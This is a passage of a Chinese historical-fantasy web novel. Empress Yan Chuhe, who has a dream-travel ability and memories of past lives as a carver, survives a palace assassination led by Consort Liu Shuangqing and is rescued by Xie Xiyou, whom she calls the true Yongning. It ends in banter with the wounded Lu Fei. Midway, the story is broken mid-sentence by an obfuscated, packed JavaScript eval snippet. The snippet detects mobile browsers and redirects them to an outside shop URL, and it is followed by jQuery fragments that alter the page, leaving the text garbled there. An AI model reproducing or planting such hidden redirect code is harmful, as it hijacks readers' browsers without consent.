晏楚鹤摇头,想也知道不可能,那就只有第二个选项咯,会是什么——一个恍惚,她正要追问,眼前人影又一次消失。
梦境随着她心神变化而改变,但消失的男子不再出现,也许是他不愿意见她,也许是他也没什么话好说,也有可能……是她自己,已经无法凭空想象他能说什么。
十五年前,她因为磕头磕坏了脑袋,误打误撞获得了仙游梦的能力。仙游梦的初期需要大量现实景物以及梦主人的记忆作为耗材,她那时年纪尚幼,见识有限,又恰巧在现实中偶遇了路勤礼。这位长相显嫩的儒雅侯爷,他的形象便自然而然地被梦境攫取。
这是先前她从谢昔游那里得到的答案。
蹊跷之处也正在于此。路勤礼所展现的,除了儒雅外表,剩下都不是一面之缘所能赋予的,也绝非一个孩子能够凭空杜撰的。
比如,对儒学典藏的各种研习与曲解;对蜀地山川城邑的了如指掌;食雕、木雕、玉雕、石雕,全都掌握的出神入化;乃至精深的武技、药理,甚至是关于战乱动荡的预言。
还有那份对待她的态度。
比父母更洞悉她的心事,比师长更似可以平等交谈的友伴,又比友人更深沉、更毫无保留,比恋人多了几分催她奋进的期盼,那是一种……极为复杂难言的亲密与信赖。
“路勤礼”是这些东西的外壳。他的形象承载着这些技能、知识、经验——准确来说,是记忆。
为什么会需要这个外壳,她的仙游梦,梦的对象到底是谁?居然需要覆盖着来自他人的面容,才能显现。
答案呼之欲出。
一定是……让人精神错乱,足以动摇她的认知的人。
……
人能够遇见仙游梦,往往都有着重要的机缘。对晏楚鹤而言,难道是那时和路勤礼的一面之缘?
不是的,
是邻人的木雕。
是无论重来多少次,无论循环多少次都会被雕刻吸引,那是她心中最纯粹的情感,在某一世中被刻在灵魂深处的执念。
所以,梦中,陪伴她、教导她、开解她、抚慰她伤痛、带她神游万里河山的存在……
始终是她自己。
成为吴家村里流浪木匠的徒弟,饥寒交迫中坚守爱好,结果被贵族掳去日夜雕琢,惨死。就算侥幸逃生,改头换面做石雕匠人,也是一样的结局。
偶尔遇到所谓的贵人伯乐,被发现是雕刻天才精心培养,换来的是伪造完玉玺就被灭口。
远遁塞外也没有用,在蕃国雕刻图腾传播文化,打仗了,死。被召入皇家寺庙雕佛像,皇帝把她当人祭。乱世中加入起义军,放弃雕刻进了军械监,也不过是死在战火中。
路勤礼,一个高高在上的侯爷,怎么可能经历过这些……她经历过的失败人生。
只会雕刻的平民挣扎求存,却是几辈子都没能离开过蜀地。
前世,前前世,前前前世,
真的失败吗?
她遇见路斐后,走上现在的道路,又很成功吗?
本是因为超忆怪病显得愚钝的孩子,除了记事、雕刻外什么都做不好,她是因为仙游梦改变了人生,靠着预知未来离开蜀地,踏入官场报血海深仇,又赶在乱世前来到偏僻的春州。
她在春州构筑筑屋修渠,治理一方,本想以此离世避祸,雕木雕石,偶尔赏玩风景,静待天下太平。不想,遇到了路斐,路转峰回,踏上了如今这条路。
冒名顶替前朝遗孤,征讨四方贼寇,自那日雅州歼灭杀人道士,复辟宥国,先后迎战景安帝、除梅州程贼,破洛阳妖术,灭路斐定东南,终于荡平天下。她从一介平民,达到世间罕有人触及的顶峰。
皇位。
若说遗憾,便是自己并非永宁本人。她的初衷只是借永宁的身份拿下皇位,夺得天下将其归还给正主——比起拱手让于那些皇室,她想将其交还给天下百姓。时至今日,她心里依旧期待着皇权淡去,门阀消融,再无贵贱之阶的大同社会。
这话如今想来显得讽刺,非是巩固权威、平衡势力、震慑四方,同天下古往今来其他皇帝没什么差别。
毕竟,现在就交还皇位,实现理想,自己归隐一方?实不可行。
她不怕真的永宁现身戳床自己,她因此而死也没什么好说的。只怕她死后,自有人掀起风波,宥国危乱,天下必定再起风波,此番苦心,未必有人能真正理解,估计只会笑她狸猫妄想太子,鱼目混珠之辈只知贪慕富贵。
当今宥国,需要防范者数不胜数,后宫内的男人们全是各怀鬼胎,一同奋斗的旧臣不再可信,臣服的节度使个个包藏祸心,北狄西戎虎视眈眈……闭上眼睛都觉得烦燥。
这段人生兜兜转转,似乎也算不上成功。
是以,利箭破空,生死关头,晏楚鹤为自己的人生再次得出结论。
她果然很失败,先前的付出因为一时疏忽全都功亏一篑,连自己的老熟人都没防到,不是失败是什么。
预想中的疼痛迟迟没有出现,取而代之的是一声闷响,
以及身后另一根梁上,一道黑影直直坠落。
晏楚鹤当即闪身,在那身影重重砸地前,险险将人接住。触手处一片湿热粘稠,眼前亦是一片稠密的白雾,那人替她中箭后用尽最后力气掷出枚丸药已然炸开。
晏楚鹤不敢有半分迟疑,顾不得寒冷向最近的偏殿冲去。
她所居的寝殿构造奇巧,房间极多道路交错,还特意加了几个暗门,走得清楚的没几个人。是以,哪怕黑衣人数量占优,她应该也能周旋片刻。
至于怀中这人,虽然蒙了面乔装打扮,但体重身量,还有这个时机,
“咳……我只是逃走前来看你。”
这种桥段太老套了。
晏楚鹤心想,眼眶却不受控制地发热。
他中了三箭,腿上和肩膀处的还好说,最关键的是胸口的位置……鲜血正快速浸透衣料。这大概是最后一次听他说话。
晏楚鹤在一处房间停下,泛起的悲伤无法止住,好在常年雕刻,她这双手无论如何都不会因紧张失控。她迅速摸向他腰间、袖内——短刃、火折、几种她认得或不认得的瓷瓶药包。
路斐似乎还想像以往一样笑话她,却是呛出一口血沫,气息迅速萎靡下去:“楚鹤……对不住……你一定……”
【你一定要活下去,不为苍生为你自己。】
【不要再背负我或者我父亲的理想了】
未出口的话语停在嘴边,他的唇像初见时一样被晏楚鹤死死捂住,这个时候说话就是透支所存无几的生命。
她的脸色是路斐从未见过的惨白和难过。
他任由自己被挪至床榻后,用杂物稍作遮掩。追兵的目标是她……她会给路斐在墓碑上多写几句好话的。
她没有办法停在这里,她不能停在这里看着他走向死亡。
多么荒谬又残酷。
明明她还有好多话没有说,他们之间不应该是这样的结局。
说任何话都是在浪费他用生命换来的时间。
“……多谢。”
收整情绪、深呼吸、维持平衡,就像以往任何一次一样。她已经不是第一次上战场时的她了。
离开房间后进入的第一个转角,那道鬼魅般的身影,比她预想中的还要快径直截住了去路,这也让晏楚鹤更加肯定这人的身份。
她打不过怪物的。
晏楚鹤等候已久,她踢翻烛火,整个房间顿时一片混乱,黑衣人们慌了神不敢轻举妄动。唯独那女人嗅觉过人,赤手空拳就冲过来,没有招式,不讲章法,全凭一股非人的蛮力与速度。因此,晏楚鹤想偷袭一下还是做得到,寒光一闪,晏楚鹤直刺对方面门!
或许是没想到她会瞄准自己的脸,或许是根本不屑防备。
造成的伤口以肉眼可见的速度很快就愈合,蒙面的布料没办法做到。
烟尘稍散,露出窦沅那张因狂怒而扭曲、却又异常亢奋鲜活的脸。
不是人,是怪物。晏楚鹤心下一沉。但眼下唯一的生机,便是拖。窦沅在此现身,负责看守她的人不可能毫无察觉,援兵会来的。
而晏楚鹤唯一的生路,就是在现在要找到那位幕后主使,她相信另一个女人一定在这附近。
“啊!!!”窦沅指尖触到脸上已经消失的伤口,后知后觉地发出尖叫,“晏楚鹤!你竟敢伤我的脸。”
晏楚鹤毫不犹豫地趁她悲号,又多捅了几刀,这才朝着反方向逃离。迷宫般的殿宇回廊间,她将速度提到极致,心中飞速盘算着出口——前方甬道尽头,灯火骤亮。
“陛下,”挡路的女人声音平和,甚至带着几分故旧的亲昵,“夜深露重,这是要往何处去?”
不用她找,刘霜清被几名黑衣人簇拥着,好整以暇地立在门前,已等候多时。
“楚鹤,交出玉玺。”
晏楚鹤连连退了几步,直直抵着冰凉的石柱:“我交出玉玺,你也会杀我。”
刘霜清没有辩解,甚至微微颔首,坦然承认了这个心照不宣的结局。刘霜清没有欺骗她,点头承认了。她的计划本就如此,在援兵抵达前,杀死晏楚鹤,拿到玉玺。
混乱的情绪在胸腔冲撞。路斐生死未卜,而背叛就在眼前。为什么?为什么会这样?刘霜清的脸模糊、熟悉、陌生。
“夏国已亡,刘贵妃,你又有什么理由来杀孤?”
刘霜清清楚,晏楚鹤想动摇自己拖延时间,她让手下该放箭的放箭,该追杀的追杀,自己立在原地淡定地,甚至是温柔地回答着:“因为你不是称职的女帝,楚鹤。”
“你坐上这位子,学着景安帝的样子纳夫封君,让男人当官,有才识的女子、女学门生,依旧屈居末流。女子依旧要依附权力才能存活。我看不出你和男皇帝的不同。”
强词夺理,一派胡言,眼下的时局,换哪个女人都是一样的做法。晏楚鹤喘了口气,专注于躲闪。
若今日登基的是她儿子窦怀谦,她怕是俯首称臣都来不及吧?
像是猜到晏楚鹤想问什么一样,刘霜清开口,严肃的语气让人相信她是认真的:“如若今天是我儿登基,我想我也会做一样的事情。”她顿了顿,像在审视自己的内心。
楚鹤,你也一样,
刘霜清在心中复述,和晏楚鹤为敌对于她而言,曾是光想象那场景,便觉是世间最可怖之事。
恍惚掠过心头,刘霜清惊觉自己竟在此刻失神,反倒是晏楚鹤动作流畅没乱阵脚——不行,时间不多了。
她稳住心绪,声音转冷:“别再挣扎了,你的援兵还远,楚鹤,你甚至都不是一个够格的皇帝。”
“你不是永宁,你的皇位建立在谎言上,本宫不过是在拨乱反正。”
先前的预想被人说出,晏楚鹤倒觉得畅快,她甚至能在狼狈闪避间扯出一个笑:“刘霜清,这话你自己信吗?”
这些只是她篡位时冠冕堂皇的借口,绝非真正的动机。
见晏楚鹤躲闪间竟还有余力反问,刘霜清眼神一凛,向前迈了一步,周围护卫的包围圈也随之收紧。
晏楚鹤果然比窦沅懂她,这样的对手不能留,<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077253|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“楚鹤,事情会变成这样,其实很简单——人和人之间,信任是最脆弱的,”刘霜清面色凝重地下了结语,“我还想问你,为什么会走到这一步。”
你喜怒无常,一面倚仗路斐如臂膀,一面转头就对他刀兵相向。今日你能对路斐翻脸,明日为何不能对我痛下杀手?
这些话在她喉头滚动,最终却未出口,她只是看着晏楚鹤,缓缓陈述自己的恐惧:“我不想再成为砧板上那块任人宰割的鱼肉了。”
晏楚鹤闻言,动作有瞬间迟滞。但这就是贵妃不惜掀起血雨腥风的理由?她不解,以至于心神微乱,步法露出了破绽,刀剑擦身而过。
刘霜清见了,语带讥诮:“躲什么?你我从前推心置腹,哎,你也认同吧?所谓君臣相得、知己同心,不过是伪装罢了。”
不是的。
晏楚鹤脚下一个趔趄,索性不再奔逃,转身勉力架开袭来的一击,姿势早已力不从心:“若真无信任,当初你为何愿将女学交由我打理,又为何愿把身家性命押在我身上?”
刘霜清冷笑:“信任自有价码,更有效期限。价码不够,期限一到,便是陌路,乃至死敌。”
“那么,你不仅信不过我,也信不过任何坐在这个位置上的任何人,包括未来的你自己。”
刘霜清瞳孔微缩,冷硬道:“楚鹤,这与你无关。”
晏楚鹤离刘霜清越来越近,同时,复杂的脚步声如擂鼓般自通道另一端轰然逼近。
是窦沅,她先来了。
胜负已分,冰冷漫过心头,晏楚鹤不知道自己还能支撑多久,看来答应给路斐的墓碑都将没有结果。
“别再挣扎了。”
窦沅的身影就在眼前。
与此同时,殿外传来急促的惊呼:“谢姑娘,谨慎!陛下也在里面——”
一支箭毫无征兆地破空而来!
刹那间,刘霜清母女心头俱是一震。难道是谢飞藿?!那个神箭手怎么可能赶得到,又怎么可能射得中,下意识的躲闪念头刚起——
箭歪了。歪得很彻底。
来的确实是谢姑娘,但是是太医局的谢昔游,这位白袍女道士在夜中格外醒目,成为了窦沅泄愤的活靶子。
“哈哈哈根本没射准——”窦沅朝着谢昔游猛扑过去,却在半途身形一晃,毫无征兆地软倒在地。
谢昔游带来了针对窦沅的药物。
她身后,黑压压的禁军甲士如潮水般涌入院落,火光映照着冰冷的甲胄。
大势已去。刘霜清惨然一笑,拼命接近她的晏楚鹤眼疾手快,将其打晕,刘霜清闷哼一声,软倒在地,自尽的举动没有成功。
“你来的比我预想的快,”晏楚鹤被谢昔游伸手搀住,浑身脱力,“……多谢了,永宁。”
“该道谢的是我。”谢昔游眉头本能地蹙起,一边检视她肩上箭伤,一边应道,“若非陛下信重,事先赐我调兵之权,用以防备窦沅异动,我也无法……”她话音忽地一顿,手上动作微滞,像是才反应过来,谢昔游皱眉,后知后觉,“陛下方才……唤我什么?是误会了吧。”
“从第一次见你,我便有了答案,”晏楚鹤靠在谢昔游肩头,她期待过亲口说出对方身份的这一天,想像一样露出让下属安心的笑容,到底无法成功,“寻常人谁会喜欢带那种面纱……放心,我不会杀你。”
尘埃落定,先前被压下的情绪一涌而来,用聊天分散注意力来说,对她而言是不错的选择。
“别说话了,你伤得不轻,”她轻轻叹了口气,目光移向殿内,“笑一个吧,你担心的人还活着……辛亏他胸口垫了块玉佩。”
脑袋嗡嗡作响,她几乎没听清后面几句,
不对吧,
玉佩,挂在胸前?这人有什么毛病?啊?
那他怎么晕过去的?
疑问在见到路斐时消除了。
箭矢力道惊人,内腑受震,昏迷实属正常,血是其他伤口流的。
她方才……真的以为他死了。大悲大喜交替,失而复得的冲击,晏楚鹤此时的表情很复杂,眼眶不受控制地泛红,唇微微颤着,什么也说不出。
路斐不知何时已半睁开眼,气息微弱,他看着她,扯了扯嘴角:“怎么?我没死你不开心?”
“你……”晏楚鹤哽住,“你为什么不早和我说?”
“我倒是想说,可陛下亲手堵住了臣的唇。陛下当时的眼神,”他目光掠过她湿润的眼角,声音低了下去,带着一丝试探,“你该不会还在意着我吧?”
“这话该我说!你该不会是故意用那玉佩挡的吧?”她别过脸,深吸一口气,才哑声道,“……我暂时,还没原谅你。”
“巧了,”路斐低笑,牵动伤口又闷哼一声,却不肯示弱,“我也没原谅……公主殿下情绪一变就兵戈相向,一登基就大开后宫。”
晏楚鹤闻言,微微挑眉:“我会借着刘霜清的事把他们都遣散,怎么样?你也一样,护驾有功,想要什么官位随你挑。”
“那我是不是现在就得起身,高喊谢主隆恩?”
“谢就不必了。”晏楚鹤移开视线,声音依旧,“留着你的力气养伤,少说几句废话,就算报恩了。”
“陛下这是嫌臣聒噪?臣重伤在身,神思恍惚,若哪句废话不小心冒犯,还望陛下海涵。”
“知道是废话就闭嘴。”
路斐居然真地不再言语。他躺在那里,长睫垂下,掩去眼底所有情绪,无端叫人心头揪紧。短暂的沉默亦是让人不自在。
晏楚鹤索性转身,脚步迈出两步,竟又折返回来,
“我这几天就会遣散后宫,”她垂眼看他,像在陈述一桩无关紧要的政事,“你没有什么表示?”
路斐明白她的意思,笑着:“臣和陛下一样,都在等着心上人原谅,才好重新开始。怎么?楚鹤,你不信我?”
晏楚鹤迎着他的目光,语气里带着一种近乎坦然的平静,以及期待:“确实不相信,不过
——你话都说到这份上了,我很期待。”